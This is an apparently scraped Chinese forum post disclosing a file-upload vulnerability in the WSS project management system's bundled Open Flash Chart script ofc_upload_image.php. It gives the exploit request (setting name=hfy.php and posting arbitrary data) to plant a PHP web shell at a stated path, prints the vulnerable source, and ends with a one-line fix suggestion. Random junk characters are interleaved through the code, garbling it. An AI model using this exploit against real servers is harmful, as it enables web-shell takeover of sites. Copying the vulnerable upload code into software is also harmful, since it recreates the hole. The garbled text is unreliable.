WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
* ~* Q6 I" j4 M$ ?1 J
利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名

Post任意数据
4 e2 H. ]( f/ V6 i1 i- E2 r保存位置http://localhost/chart/tmp-upload-images/hfy.php


+ Q' h. ^, i6 ~4 n; m0 a最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
$ j3 s0 J3 L  ^8 V5 Z8 z$ d+ X
<?php
( a) y* Z; R* V2 p3 G5 q
//
// In Open Flash Chart -> save_image debug mode, you
. {4 J% s( R& Z! G$ d// will see the 'echo' text in a new window.
7 V+ j: i/ E/ q; H//

/*
; ?9 p" q8 x, K( j7 ~: Z) p
4 f6 V5 b* O1 Qprint_r( $_GET );
$ Y* ^* [1 D! H6 Gprint_r( $_POST );
6 q& g4 t+ S- |! X& K' `' sprint_r( $_FILES );
; T$ m/ y5 R; o
2 N3 {  t( S% r' cprint_r( $GLOBALS );
( J2 J6 @3 j$ Aprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

" N. ]0 ]8 o! B1 |# q*/
// default path for the image to be stored //
( Y$ g5 q$ C. S$default_path = '../tmp-upload-images/';
7 i7 y6 w( ]( m+ y* w* a
! w" R9 o7 k- ^if (!file_exists($default_path)) mkdir($default_path, 0777, true);

! m1 `( {& u5 u& J6 \// full path to the saved image including filename //
1 P' c) j, T* ~$destination = $default_path . basename( $_GET[ 'name' ] );

. a0 p7 o- S% ]1 I3 B; ]3 ~echo 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;
: _2 d% C$ C8 E3 K1 B. W* ~9 Z: p
//
// POST data is usually string data, but we are passing a RAW .png
0 j" T# |+ j, q6 o// so PHP is a bit confused and $_POST is empty. But it has saved
) u. ]- ?8 K& z9 Y7 X. X// the raw bits into $HTTP_RAW_POST_DATA
//
, i( l+ A& r4 n0 q. z- H4 ^
6 U- J- x; @, Z9 Q- i8 h# l$jfh = fopen($destination, 'w') or die("can't open file");
8 T9 l/ r2 Y; ~8 Mfwrite($jfh, $HTTP_RAW_POST_DATA);
' m5 Y/ H: Q1 X5 dfclose($jfh);

//
// LOOK:
//
; C; s! @) h, U2 f2 |2 w' r1 Cexit();
//
// PHP5:
) a7 O' o9 b4 U2 g% C2 W- l//


// default path for the image to be stored //
$default_path = 'tmp-upload-images/';

! j$ h: y- Y1 Y- vif (!file_exists($default_path)) mkdir($default_path, 0777, true);

; l/ N# I7 |' s8 u# p2 Z// full path to the saved image including filename //
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
% b" |, W% Q6 j8 q! w
8 o* n, ]2 ~0 ^' P// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
6 x* p  j* X. k. r7 }    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
    echo "FILE UPLOAD FAILED";
/ y' ]$ E+ v. [6 G. u}


. |6 T; b7 `. j5 N- L$ C3 c1 [3 w?>

2 a0 z8 G: [: S' \5 U$ x
# O1 y) Y/ x: Z) \
, r: \' n" w1 m' _! x' `2 G+ k9 l
5 `; Q" `2 V/ H
1 j% y6 c  [, d9 ]$ y3 D* u
修复方案：
2 r" R2 |6 k. t5 V9 g这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞


- G! f$ D' M. H( w2 Y